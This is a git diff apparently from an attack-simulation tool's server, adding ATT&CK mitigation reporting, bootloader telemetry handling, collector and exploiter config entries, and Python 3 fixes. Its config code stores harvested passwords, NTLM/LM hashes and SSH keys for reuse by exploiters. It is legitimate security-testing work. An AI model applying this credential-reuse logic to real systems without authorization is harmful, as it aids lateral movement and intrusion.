@@ -41,4 +40,5 @@ class T1075(AttackTechnique): else: status = ScanStatus.UNSCANNED.value data.update(T1075.get_message_and_status(status)) + data.update(T1075.get_mitigation_by_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index bc2645bb9..cdbdb42ec 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -6,13 +6,12 @@ __author__ = "VakarisZ" class T1082(AttackTechnique): - tech_id = "T1082" unscanned_msg = "Monkey didn't gather any system info on the network." scanned_msg = "" used_msg = "Monkey gathered system info from machines in the network." - query = [{'$match': {'telem_category': 'system_info'}}, + query = [{'$match': {'telem_category': 'system_info', 'data.network_info': {'$exists': True}}}, {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, 'aws': '$data.aws', 'netstat': '$data.network_info.netstat', @@ -22,17 +21,17 @@ class T1082(AttackTechnique): {'$project': {'_id': 0, 'machine': 1, 'collections': [ - {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]}, - 'name': {'$literal': 'Amazon Web Services info'}}, - {'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]}, - 'name': {'$literal': 'Running process list'}}, - {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]}, - 'name': {'$literal': 'Network connections'}}, - {'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]}, - 'name': {'$literal': 'SSH info'}}, - {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]}, - 'name': {'$literal': 'Azure info'}} - ]}}, + {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]}, + 'name': {'$literal': 'Amazon Web Services info'}}, + {'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]}, + 'name': {'$literal': 'Running process list'}}, + {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]}, + 'name': {'$literal': 'Network connections'}}, + {'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]}, + 'name': {'$literal': 'SSH info'}}, + {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]}, + 'name': {'$literal': 'Azure info'}} + ]}}, {'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}}, {"$replaceRoot": {"newRoot": "$_id"}}] @@ -45,5 +44,6 @@ class T1082(AttackTechnique): status = ScanStatus.USED.value else: status = ScanStatus.UNSCANNED.value + data.update(T1082.get_mitigation_by_status(status)) data.update(T1082.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index dd5d64d25..897ccdaaf 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1086(AttackTechnique): - tech_id = "T1086" unscanned_msg = "Monkey didn't run powershell." scanned_msg = "" @@ -32,5 +31,7 @@ class T1086(AttackTechnique): status = ScanStatus.USED.value else: status = ScanStatus.UNSCANNED.value + + data.update(T1086.get_mitigation_by_status(status)) data.update(T1086.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py index 7a6c830b8..f5702ede8 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1090(AttackTechnique): - tech_id = "T1090" unscanned_msg = "Monkey didn't use connection proxy." scanned_msg = "" @@ -20,5 +19,3 @@ class T1090(AttackTechnique): data = T1090.get_base_data_by_status(status) data.update({'proxies': monkeys}) return data - - diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py index 3d95fd88d..6ae8037bc 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py @@ -5,7 +5,6 @@ __author__ = "VakarisZ" class T1105(AttackTechnique): - tech_id = "T1105" unscanned_msg = "Monkey didn't try to copy files to any systems." scanned_msg = "Monkey tried to copy files, but failed." diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index 72bb0af76..a28dc5aeb 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -46,5 +46,3 @@ class T1110(AttackTechnique): data.update({'services': attempts}) return data - - diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py index 32187696a..3959302fa 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1188(AttackTechnique): - tech_id = "T1188" unscanned_msg = "Monkey didn't use multi-hop proxy." scanned_msg = "" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index eeae183f5..babe5c788 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -6,7 +6,6 @@ __author__ = "VakarisZ" class T1210(AttackTechnique): - tech_id = "T1210" unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?" scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them." @@ -24,14 +23,15 @@ class T1210(AttackTechnique): else: status = ScanStatus.UNSCANNED.value data.update(T1210.get_message_and_status(status)) + data.update(T1210.get_mitigation_by_status(status)) data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services}) return data @staticmethod def get_scanned_services(): results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'scan'}}, - {'$sort': {'data.service_count': -1}}, - {'$group': { + {'$sort': {'data.service_count': -1}}, + {'$group': { '_id': {'ip_addr': '$data.machine.ip_addr'}, 'machine': {'$first': '$data.machine'}, 'time': {'$first': '$timestamp'}}}]) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index e164e8830..bd4e07c24 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -5,39 +5,43 @@ from monkey_island.cc.database import mongo from common.utils.attack_utils import ScanStatus from monkey_island.cc.services.attack.attack_config import AttackConfig from common.utils.code_utils import abstractstatic +from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations logger = logging.getLogger(__name__) -class AttackTechnique(object): +class AttackTechnique(object, metaclass=abc.ABCMeta): """ Abstract class for ATT&CK report components """ - __metaclass__ = abc.ABCMeta - @abc.abstractproperty + @property + @abc.abstractmethod def unscanned_msg(self): """ :return: Message that will be displayed in case attack technique was not scanned. """ pass - @abc.abstractproperty + @property + @abc.abstractmethod def scanned_msg(self): """ :return: Message that will be displayed in case attack technique was scanned. """ pass - @abc.abstractproperty + @property + @abc.abstractmethod def used_msg(self): """ :return: Message that will be displayed in case attack technique was used by the scanner. """ pass - @abc.abstractproperty + @property + @abc.abstractmethod def tech_id(self): """ - :return: Message that will be displayed in case of attack technique not being scanned. + :return: Id of attack technique. E.g. T1003 """ pass @@ -108,10 +112,21 @@ class AttackTechnique(object): data.update({'status': status, 'title': title, 'message': cls.get_message_by_status(status)}) + data.update(cls.get_mitigation_by_status(status)) return data @classmethod def get_base_data_by_status(cls, status): data = cls.get_message_and_status(status) data.update({'title': cls.technique_title()}) + data.update(cls.get_mitigation_by_status(status)) return data + + @classmethod + def get_mitigation_by_status(cls, status: ScanStatus) -> dict: + if status == ScanStatus.USED.value: + mitigation_document = AttackMitigations.get_mitigation_by_technique_id(str(cls.tech_id)) + return {'mitigations': mitigation_document.to_mongo().to_dict()['mitigations']} + else: + return {} + diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py index 05cef3684..80bfb952d 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py @@ -12,7 +12,7 @@ def parse_creds(attempt): 'ntlm_hash': {'type': 'NTLM hash', 'output': censor_hash(attempt['ntlm_hash'], 20)}, 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']}, 'password': {'type': 'Plaintext password', 'output': censor_password(attempt['password'])}} - for key, cred in creds.items(): + for key, cred in list(creds.items()): if attempt[key]: return '%s ; %s : %s' % (username, cred['type'], diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py index 69f178e1c..76e005689 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py @@ -5,9 +5,7 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique, from common.utils.attack_utils import UsageEnum -class UsageTechnique(AttackTechnique): - __metaclass__ = abc.ABCMeta - +class UsageTechnique(AttackTechnique, metaclass=abc.ABCMeta): @staticmethod def parse_usages(usage): """ diff --git a/monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py b/monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py new file mode 100644 index 000000000..4866a6729 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/test_mitre_api_interface.py @@ -0,0 +1,15 @@ +from unittest import TestCase + +from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface + + +class TestMitreApiInterface(TestCase): + + def test_get_all_mitigations(self): + mitigations = MitreApiInterface.get_all_mitigations() + self.assertIsNotNone((len(mitigations.items()) >= 282)) + mitigation = next(iter(mitigations.values())) + self.assertEqual(mitigation['type'], "course-of-action") + self.assertIsNotNone(mitigation['name']) + self.assertIsNotNone(mitigation['description']) + self.assertIsNotNone(mitigation['external_references']) diff --git a/monkey/monkey_island/cc/services/bootloader.py b/monkey/monkey_island/cc/services/bootloader.py new file mode 100644 index 000000000..9f05ac45f --- /dev/null +++ b/monkey/monkey_island/cc/services/bootloader.py @@ -0,0 +1,69 @@ +from typing import Dict, List + +from bson import ObjectId + +from monkey_island.cc.database import mongo +from monkey_island.cc.services.node import NodeService, NodeCreationException +from monkey_island.cc.services.utils.node_states import NodeStates +from monkey_island.cc.services.utils.bootloader_config import SUPPORTED_WINDOWS_VERSIONS, MIN_GLIBC_VERSION + + +class BootloaderService: + + @staticmethod + def parse_bootloader_telem(telem: Dict) -> bool: + telem['ips'] = BootloaderService.remove_local_ips(telem['ips']) + if telem['os_version'] == "": + telem['os_version'] = "Unknown OS" + + telem_id = BootloaderService.get_mongo_id_for_bootloader_telem(telem) + mongo.db.bootloader_telems.update({'_id': telem_id}, {'$setOnInsert': telem}, upsert=True) + + will_monkey_run = BootloaderService.is_os_compatible(telem) + try: + node = NodeService.get_or_create_node_from_bootloader_telem(telem, will_monkey_run) + except NodeCreationException: + # Didn't find the node, but allow monkey to run anyways + return True + + node_group = BootloaderService.get_next_node_state(node, telem['system'], will_monkey_run) + if 'group' not in node or node['group'] != node_group.value: + NodeService.set_node_group(node['_id'], node_group) + return will_monkey_run + + @staticmethod + def get_next_node_state(node: Dict, system: str, will_monkey_run: bool) -> NodeStates: + group_keywords = [system, 'monkey'] + if 'group' in node and node['group'] == 'island': + group_keywords.extend(['island', 'starting']) + else: + group_keywords.append('starting') if will_monkey_run else group_keywords.append('old') + node_group = NodeStates.get_by_keywords(group_keywords) + return node_group + + @staticmethod + def get_mongo_id_for_bootloader_telem(bootloader_telem) -> ObjectId: + ip_hash = hex(hash(str(bootloader_telem['ips'])))[3:15] + hostname_hash = hex(hash(bootloader_telem['hostname']))[3:15] + return ObjectId(ip_hash + hostname_hash) + + @staticmethod + def is_os_compatible(bootloader_data) -> bool: + if bootloader_data['system'] == 'windows': + return BootloaderService.is_windows_version_supported(bootloader_data['os_version']) + elif bootloader_data['system'] == 'linux': + return BootloaderService.is_glibc_supported(bootloader_data['glibc_version']) + + @staticmethod + def is_windows_version_supported(windows_version) -> bool: + return SUPPORTED_WINDOWS_VERSIONS.get(windows_version, True) + + @staticmethod + def is_glibc_supported(glibc_version_string) -> bool: + glibc_version_string = glibc_version_string.lower() + glibc_version = glibc_version_string.split(' ')[-1] + return glibc_version >= str(MIN_GLIBC_VERSION) and 'eglibc' not in glibc_version_string + + @staticmethod + def remove_local_ips(ip_list) -> List[str]: + return [i for i in ip_list if not i.startswith("127")] diff --git a/monkey/monkey_island/cc/services/bootloader_test.py b/monkey/monkey_island/cc/services/bootloader_test.py new file mode 100644 index 000000000..03df2be97 --- /dev/null +++ b/monkey/monkey_island/cc/services/bootloader_test.py @@ -0,0 +1,35 @@ +from unittest import TestCase + +from monkey_island.cc.services.bootloader import BootloaderService + +WINDOWS_VERSIONS = { + "5.0": "Windows 2000", + "5.1": "Windows XP", + "5.2": "Windows XP/server 2003", + "6.0": "Windows Vista/server 2008", + "6.1": "Windows 7/server 2008R2", + "6.2": "Windows 8/server 2012", + "6.3": "Windows 8.1/server 2012R2", + "10.0": "Windows 10/server 2016-2019" +} + +MIN_GLIBC_VERSION = 2.14 + + +class TestBootloaderService(TestCase): + + def test_is_glibc_supported(self): + str1 = "ldd (Ubuntu EGLIBC 2.15-0ubuntu10) 2.15" + str2 = "ldd (GNU libc) 2.12" + str3 = "ldd (GNU libc) 2.28" + str4 = "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23" + self.assertTrue(not BootloaderService.is_glibc_supported(str1) and + not BootloaderService.is_glibc_supported(str2) and + BootloaderService.is_glibc_supported(str3) and + BootloaderService.is_glibc_supported(str4)) + + def test_remove_local_ips(self): + ips = ["127.1.1.1", "127.0.0.1", "192.168.56.1"] + ips = BootloaderService.remove_local_ips(ips) + self.assertEqual(["192.168.56.1"], ips) + diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index c52ceb3f4..96c59cad6 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -3,20 +3,18 @@ import collections import functools import logging from jsonschema import Draft4Validator, validators -from six import string_types import monkey_island.cc.services.post_breach_files from monkey_island.cc.database import mongo -from monkey_island.cc.encryptor import encryptor from monkey_island.cc.environment.environment import env from monkey_island.cc.utils import local_ip_addresses -from config_schema import SCHEMA +from .config_schema import SCHEMA +from monkey_island.cc.encryptor import encryptor __author__ = "itay.mizeretz" logger = logging.getLogger(__name__) - # This should be used for config values of array type (array of strings only) ENCRYPTED_CONFIG_ARRAYS = \ [ @@ -92,7 +90,13 @@ class ConfigService: return SCHEMA @staticmethod - def add_item_to_config_set(item_key, item_value): + def add_item_to_config_set_if_dont_exist(item_key, item_value, should_encrypt): + item_path_array = item_key.split('.') + items_from_config = ConfigService.get_config_value(item_path_array, False, should_encrypt) + if item_value in items_from_config: + return + if should_encrypt: + item_value = encryptor.enc(item_value) mongo.db.config.update( {'name': 'newconfig'}, {'$addToSet': {item_key: item_value}}, @@ -107,40 +111,65 @@ class ConfigService: @staticmethod def creds_add_username(username): - ConfigService.add_item_to_config_set('basic.credentials.exploit_user_list', username) + ConfigService.add_item_to_config_set_if_dont_exist('basic.credentials.exploit_user_list', + username, + should_encrypt=False) @staticmethod def creds_add_password(password): - ConfigService.add_item_to_config_set('basic.credentials.exploit_password_list', password) + ConfigService.add_item_to_config_set_if_dont_exist('basic.credentials.exploit_password_list', + password, + should_encrypt=True) @staticmethod def creds_add_lm_hash(lm_hash): - ConfigService.add_item_to_config_set('internal.exploits.exploit_lm_hash_list', lm_hash) + ConfigService.add_item_to_config_set_if_dont_exist('internal.exploits.exploit_lm_hash_list', + lm_hash, + should_encrypt=True) @staticmethod def creds_add_ntlm_hash(ntlm_hash): - ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash) + ConfigService.add_item_to_config_set_if_dont_exist('internal.exploits.exploit_ntlm_hash_list', + ntlm_hash, + should_encrypt=True) @staticmethod def ssh_add_keys(public_key, private_key, user, ip): - if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'], - False, False), user, ip): - ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys', - {"public_key": public_key, "private_key": private_key, - "user": user, "ip": ip}) + if not ConfigService.ssh_key_exists( + ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'], False, False), user, ip): + ConfigService.add_item_to_config_set_if_dont_exist( + 'internal.exploits.exploit_ssh_keys', + { + "public_key": public_key, + "private_key": private_key, + "user": user, "ip": ip + }, + # SSH keys already encrypted in process_ssh_info() + should_encrypt=False + + ) @staticmethod def ssh_key_exists(keys, user, ip): return [key for key in keys if key['user'] == user and key['ip'] == ip] + def _filter_none_values(data): + if isinstance(data, dict): + return {k: ConfigService._filter_none_values(v) for k, v in data.items() if k is not None and v is not None} + elif isinstance(data, list): + return [ConfigService._filter_none_values(item) for item in data if item is not None] + else: + return data + @staticmethod def update_config(config_json, should_encrypt): # PBA file upload happens on pba_file_upload endpoint and corresponding config options are set there + config_json = ConfigService._filter_none_values(config_json) monkey_island.cc.services.post_breach_files.set_config_PBA_files(config_json) if should_encrypt: try: ConfigService.encrypt_config(config_json) - except KeyError as e: + except KeyError: logger.error('Bad configuration file was submitted.') return False mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) @@ -150,9 +179,9 @@ class ConfigService: @staticmethod def init_default_config(): if ConfigService.default_config is None: - defaultValidatingDraft4Validator = ConfigService._extend_config_with_default(Draft4Validator) + default_validating_draft4_validator = ConfigService._extend_config_with_default(Draft4Validator) config = {} - defaultValidatingDraft4Validator(SCHEMA).validate(config) + default_validating_draft4_validator(SCHEMA).validate(config) ConfigService.default_config = config @staticmethod @@ -203,15 +232,15 @@ class ConfigService: # Do it only for root. if instance != {}: return - for property, subschema in properties.iteritems(): + for property1, subschema1 in list(properties.items()): main_dict = {} - for property2, subschema2 in subschema["properties"].iteritems(): + for property2, subschema2 in list(subschema1["properties"].items()): sub_dict = {} - for property3, subschema3 in subschema2["properties"].iteritems(): + for property3, subschema3 in list(subschema2["properties"].items()): if "default" in subschema3: sub_dict[property3] = subschema3["default"] main_dict[property2] = sub_dict - instance.setdefault(property, main_dict) + instance.setdefault(property1, main_dict) for error in validate_properties(validator, properties, instance, schema): yield error @@ -236,7 +265,7 @@ class ConfigService: keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS] for key in keys: - if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types): + if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], str): # Check if we are decrypting ssh key pair if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]: flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]] @@ -257,16 +286,16 @@ class ConfigService: parent_config_arr = config_arr config_arr = config_arr[config_key_part] - if isinstance(config_arr, collections.Sequence) and not isinstance(config_arr, string_types): + if isinstance(config_arr, collections.Sequence) and not isinstance(config_arr, str): for i in range(len(config_arr)): # Check if array of shh key pairs and then decrypt if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]: config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \ - ConfigService.decrypt_ssh_key_pair(config_arr[i], True) + ConfigService.decrypt_ssh_key_pair(config_arr[i], True) else: config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) else: - parent_config_arr[config_arr_as_array[-1]] =\ + parent_config_arr[config_arr_as_array[-1]] = \ encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr) @staticmethod diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index c1b53e9ff..3d0220ee2 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -1,4 +1,7 @@ -WARNING_SIGN = u" \u26A0" +from common.data.system_info_collectors_names \ + import AWS_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, PROCESS_LIST_COLLECTOR + +WARNING_SIGN = " \u26A0" SCHEMA = { "title": "Monkey", @@ -99,6 +102,44 @@ SCHEMA = { } ] }, + "system_info_collectors_classes": { + "title": "System Information Collectors", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + ENVIRONMENT_COLLECTOR + ], + "title": "Collect which environment this machine is on (on prem/cloud)", + "attack_techniques": [] + }, + { + "type": "string", + "enum": [ + AWS_COLLECTOR + ], + "title": "If on AWS, collect more information about the instance", + "attack_techniques": [] + }, + { + "type": "string", + "enum": [ + HOSTNAME_COLLECTOR + ], + "title": "Collect the machine's hostname", + "attack_techniques": [] + }, +{ + "type": "string", + "enum": [ + PROCESS_LIST_COLLECTOR + ], + "title": "Collect running processes on the machine", + "attack_techniques": [] + }, + ], + }, "post_breach_acts": { "title": "Post breach actions", "type": "string", @@ -433,6 +474,21 @@ SCHEMA = { "attack_techniques": ["T1003"], "description": "Determines whether to use Mimikatz" }, + "system_info_collectors_classes": { + "title": "System info collectors", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/system_info_collectors_classes" + }, + "default": [ + ENVIRONMENT_COLLECTOR, + AWS_COLLECTOR, + HOSTNAME_COLLECTOR, + PROCESS_LIST_COLLECTOR + ], + "description": "Determines which system information collectors will collect information." + }, } }, "life_cycle": { @@ -753,7 +809,8 @@ SCHEMA = { "Struts2Exploiter", "WebLogicExploiter", "HadoopExploiter", - "VSFTPDExploiter" + "VSFTPDExploiter", + "MSSQLExploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN @@ -899,7 +956,8 @@ SCHEMA = { 8008, 3306, 9200, - 7001 + 7001, + 8088 ], "description": "List of TCP ports the monkey will check whether they're open" }, diff --git a/monkey/monkey_island/cc/services/database.py b/monkey/monkey_island/cc/services/database.py index 62e370e44..85812dd6e 100644 --- a/monkey/monkey_island/cc/services/database.py +++ b/monkey/monkey_island/cc/services/database.py @@ -3,10 +3,10 @@ import logging from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.services.post_breach_files import remove_PBA_files +from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations from flask import jsonify from monkey_island.cc.database import mongo - logger = logging.getLogger(__name__) @@ -16,16 +16,22 @@ class Database(object): @staticmethod def reset_db(): + logger.info('Resetting database') remove_PBA_files() # We can't drop system collections. - [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] + [Database.drop_collection(x) for x in mongo.db.collection_names() if not x.startswith('system.') + and not x == AttackMitigations.COLLECTION_NAME] ConfigService.init_config() AttackConfig.reset_config() logger.info('DB was reset') return jsonify(status='OK') + @staticmethod + def drop_collection(collection_name: str): + mongo.db[collection_name].drop() + logger.info("Dropped collection {}".format(collection_name)) + @staticmethod def init_db(): if not mongo.db.collection_names(): Database.reset_db() - diff --git a/monkey/monkey_island/cc/services/edge.py b/monkey/monkey_island/cc/services/edge.py index 1622d5233..a8016f5a8 100644 --- a/monkey/monkey_island/cc/services/edge.py +++ b/monkey/monkey_island/cc/services/edge.py @@ -2,7 +2,7 @@ from bson import ObjectId from monkey_island.cc.database import mongo import monkey_island.cc.services.node -from monkey_island.cc.models import Monkey +from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError __author__ = "itay.mizeretz" @@ -141,11 +141,14 @@ class EdgeService: @staticmethod def get_edge_label(edge): - NodeService = monkey_island.cc.services.node.NodeService + node_service = monkey_island.cc.services.node.NodeService from_id = edge["from"] to_id = edge["to"] - from_label = Monkey.get_label_by_id(from_id) + try: + from_label = Monkey.get_label_by_id(from_id) + except MonkeyNotFoundError: + from_label = node_service.get_node_by_id(from_id)['domain_name'] if to_id == ObjectId("000000000000000000000000"): to_label = 'MonkeyIsland' @@ -153,9 +156,9 @@ class EdgeService: if Monkey.is_monkey(to_id): to_label = Monkey.get_label_by_id(to_id) else: - to_label = NodeService.get_node_label(NodeService.get_node_by_id(to_id)) + to_label = node_service.get_node_label(node_service.get_node_by_id(to_id)) - RIGHT_ARROW = u"\u2192" return "%s %s %s" % (from_label, RIGHT_ARROW, to_label) +RIGHT_ARROW = "\u2192" diff --git a/monkey/monkey_island/cc/services/island_logs.py b/monkey/monkey_island/cc/services/island_logs.py index 77b28bdd4..be6aae12d 100644 --- a/monkey/monkey_island/cc/services/island_logs.py +++ b/monkey/monkey_island/cc/services/island_logs.py @@ -1,4 +1,5 @@ import logging + __author__ = "Maor.Rayzin" logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/log.py b/monkey/monkey_island/cc/services/log.py index a685e45b6..ff3bf7304 100644 --- a/monkey/monkey_island/cc/services/log.py +++ b/monkey/monkey_island/cc/services/log.py @@ -20,7 +20,7 @@ class LogService: return \ { 'monkey_label': monkey_label, - 'log': log_file.read(), + 'log': log_file.read().decode(), 'timestamp': log['timestamp'] } @@ -34,7 +34,7 @@ class LogService: @staticmethod def add_log(monkey_id, log_data, timestamp=datetime.now()): LogService.remove_logs_by_monkey_id(monkey_id) - file_id = database.gridfs.put(log_data) + file_id = database.gridfs.put(log_data, encoding='utf-8') return mongo.db.log.insert( { 'monkey_id': monkey_id, diff --git a/monkey/monkey_island/cc/services/mimikatz_utils.py b/monkey/monkey_island/cc/services/mimikatz_utils.py index 9aca91a59..e2ab8ec10 100644 --- a/monkey/monkey_island/cc/services/mimikatz_utils.py +++ b/monkey/monkey_island/cc/services/mimikatz_utils.py @@ -1,4 +1,3 @@ - __author__ = 'maor.rayzin' @@ -16,8 +15,8 @@ class MimikatzSecrets(object): return {} for sam_user_txt in users_secrets: - sam_user = dict([map(unicode.strip, line.split(":")) for line in - filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) + sam_user = dict([list(map(str.strip, line.split(":"))) for line in + [l for l in sam_user_txt.splitlines() if l.count(":") == 1]]) username = sam_user.get("User") users_dict[username] = {} diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 8d174c82f..6104b279f 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -1,4 +1,6 @@ from datetime import datetime, timedelta +from typing import Dict +import socket from bson import ObjectId @@ -6,9 +8,9 @@ import monkey_island.cc.services.log from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.services.edge import EdgeService -from monkey_island.cc.utils import local_ip_addresses -import socket +from monkey_island.cc.utils import local_ip_addresses, is_local_ips from monkey_island.cc import models +from monkey_island.cc.services.utils.node_states import NodeStates __author__ = "itay.mizeretz" @@ -56,11 +58,11 @@ class NodeService: accessible_from_nodes.append(from_node_label) accessible_from_nodes_hostnames.append(from_node_hostname) - for exploit in edge["exploits"]: - exploit["origin"] = from_node_label - exploits.append(exploit) + for edge_exploit in edge["exploits"]: + edge_exploit["origin"] = from_node_label + exploits.append(edge_exploit) - exploits.sort(cmp=NodeService._cmp_exploits_by_timestamp) + exploits = sorted(exploits, key=lambda exploit: exploit['timestamp']) new_node["exploits"] = exploits new_node["accessible_from_nodes"] = accessible_from_nodes @@ -80,14 +82,6 @@ class NodeService: domain_name = " (" + node["domain_name"] + ")" return node["os"]["version"] + " : " + node["ip_addresses"][0] + domain_name - @staticmethod - def _cmp_exploits_by_timestamp(exploit_1, exploit_2): - if exploit_1["timestamp"] == exploit_2["timestamp"]: - return 0 - if exploit_1["timestamp"] > exploit_2["timestamp"]: - return 1 - return -1 - @staticmethod def get_monkey_os(monkey): os = "unknown" @@ -130,20 +124,25 @@ class NodeService: @staticmethod def get_monkey_group(monkey): + keywords = [] if len(set(monkey["ip_addresses"]).intersection(local_ip_addresses())) != 0: - monkey_type = "island_monkey" + keywords.extend(["island", "monkey"]) else: monkey_type = "manual" if NodeService.get_monkey_manual_run(monkey) else "monkey" + keywords.append(monkey_type) - monkey_os = NodeService.get_monkey_os(monkey) - monkey_running = "" if Monkey.get_single_monkey_by_id(monkey["_id"]).is_dead() else "_running" - return "%s_%s%s" % (monkey_type, monkey_os, monkey_running) + keywords.append(NodeService.get_monkey_os(monkey)) + if not Monkey.get_single_monkey_by_id(monkey["_id"]).is_dead(): + keywords.append("running") + return NodeStates.get_by_keywords(keywords).value @staticmethod - def get_node_group(node): + def get_node_group(node) -> str: + if 'group' in node and node['group']: + return node['group'] node_type = "exploited" if node.get("exploited") else "clean" node_os = NodeService.get_node_os(node) - return "%s_%s" % (node_type, node_os) + return NodeStates.get_by_keywords([node_type, node_os]).value @staticmethod def monkey_to_net_node(monkey, for_report=False): @@ -174,6 +173,12 @@ class NodeService: "os": NodeService.get_node_os(node) } + @staticmethod + def set_node_group(node_id: str, node_group: NodeStates): + mongo.db.node.update({"_id": node_id}, + {'$set': {'group': node_group.value}}, + upsert=False) + 